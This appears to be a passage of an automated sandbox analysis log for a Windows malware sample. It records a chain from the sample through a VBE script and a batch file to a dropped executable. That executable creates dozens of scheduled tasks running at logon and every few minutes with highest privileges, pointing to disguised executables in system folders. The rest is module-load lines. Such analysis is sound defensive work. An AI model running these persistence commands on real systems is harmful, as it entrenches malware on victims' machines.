Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "Idle" /sc ONLOGON /tr "'C:\providerReviewperfsvc\Idle.exe'" /rl HIGHEST /f
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 12 /tr "'C:\providerReviewperfsvc\Idle.exe'" /rl HIGHEST /f
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWEn" /sc MINUTE /mo 13 /tr "'C:\Users\Default User\Downloads\nEuTyBtWAvjkYQrIMhtZWE.exe'" /f
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWE" /sc ONLOGON /tr "'C:\Users\Default User\Downloads\nEuTyBtWAvjkYQrIMhtZWE.exe'" /rl HIGHEST /f
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWEn" /sc MINUTE /mo 12 /tr "'C:\Users\Default User\Downloads\nEuTyBtWAvjkYQrIMhtZWE.exe'" /rl HIGHEST /f
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWEn" /sc MINUTE /mo 7 /tr "'C:\Users\Default\Application Data\Microsoft\nEuTyBtWAvjkYQrIMhtZWE.exe'" /f
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWE" /sc ONLOGON /tr "'C:\Users\Default\Application Data\Microsoft\nEuTyBtWAvjkYQrIMhtZWE.exe'" /rl HIGHEST /f
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWEn" /sc MINUTE /mo 8 /tr "'C:\Users\Default\Application Data\Microsoft\nEuTyBtWAvjkYQrIMhtZWE.exe'" /rl HIGHEST /f
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWEn" /sc MINUTE /mo 7 /tr "'C:\Windows\System32\nEuTyBtWAvjkYQrIMhtZWE.exe'" /f
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWE" /sc ONLOGON /tr "'C:\Windows\System32\nEuTyBtWAvjkYQrIMhtZWE.exe'" /rl HIGHEST /f
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWEn" /sc MINUTE /mo 14 /tr "'C:\Windows\System32\nEuTyBtWAvjkYQrIMhtZWE.exe'" /rl HIGHEST /f
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWEn" /sc MINUTE /mo 14 /tr "'C:\providerReviewperfsvc\nEuTyBtWAvjkYQrIMhtZWE.exe'" /f
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWE" /sc ONLOGON /tr "'C:\providerReviewperfsvc\nEuTyBtWAvjkYQrIMhtZWE.exe'" /rl HIGHEST /f
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWEn" /sc MINUTE /mo 5 /tr "'C:\providerReviewperfsvc\nEuTyBtWAvjkYQrIMhtZWE.exe'" /rl HIGHEST /f
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 7 /tr "'C:\Recovery\RuntimeBroker.exe'" /f
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Recovery\RuntimeBroker.exe'" /rl HIGHEST /f
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 12 /tr "'C:\Recovery\RuntimeBroker.exe'" /rl HIGHEST /f
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWEn" /sc MINUTE /mo 13 /tr "'C:\Recovery\nEuTyBtWAvjkYQrIMhtZWE.exe'" /f
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWE" /sc ONLOGON /tr "'C:\Recovery\nEuTyBtWAvjkYQrIMhtZWE.exe'" /rl HIGHEST /f
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWEn" /sc MINUTE /mo 12 /tr "'C:\Recovery\nEuTyBtWAvjkYQrIMhtZWE.exe'" /rl HIGHEST /f
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWEn" /sc MINUTE /mo 9 /tr "'C:\providerReviewperfsvc\nEuTyBtWAvjkYQrIMhtZWE.exe'" /f
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWE" /sc ONLOGON /tr "'C:\providerReviewperfsvc\nEuTyBtWAvjkYQrIMhtZWE.exe'" /rl HIGHEST /f
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWEn" /sc MINUTE /mo 5 /tr "'C:\providerReviewperfsvc\nEuTyBtWAvjkYQrIMhtZWE.exe'" /rl HIGHEST /f
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWEn" /sc MINUTE /mo 10 /tr "'C:\Program Files\Windows Media Player\nEuTyBtWAvjkYQrIMhtZWE.exe'" /f
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWE" /sc ONLOGON /tr "'C:\Program Files\Windows Media Player\nEuTyBtWAvjkYQrIMhtZWE.exe'" /rl HIGHEST /f
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWEn" /sc MINUTE /mo 11 /tr "'C:\Program Files\Windows Media Player\nEuTyBtWAvjkYQrIMhtZWE.exe'" /rl HIGHEST /f
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\java\jre-1.8\bin\plugin2\RuntimeBroker.exe'" /f
Source: unknown	Process created: C:\providerReviewperfsvc\Idle.exe C:\providerReviewperfsvc\Idle.exe
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Program Files (x86)\java\jre-1.8\bin\plugin2\RuntimeBroker.exe'" /rl HIGHEST /f
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\java\jre-1.8\bin\plugin2\RuntimeBroker.exe'" /rl HIGHEST /f
Source: unknown	Process created: C:\providerReviewperfsvc\Idle.exe C:\providerReviewperfsvc\Idle.exe
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWEn" /sc MINUTE /mo 9 /tr "'C:\Program Files\Adobe\Acrobat DC\nEuTyBtWAvjkYQrIMhtZWE.exe'" /f
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\providerReviewperfsvc\82mN47a0TiFi3a9eGnk.vbe"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\providerReviewperfsvc\jW8bFRH7MHNFa6gk2NSgaGKIpk.bat" "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\providerReviewperfsvc\hyperIntoruntime.exe "C:\providerReviewperfsvc\hyperIntoruntime.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Section loaded: <pi-ms-win-core-localization-l1-2-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Section loaded: dxgidebug.dll	Jump to behavior
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Section loaded: version.dll	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
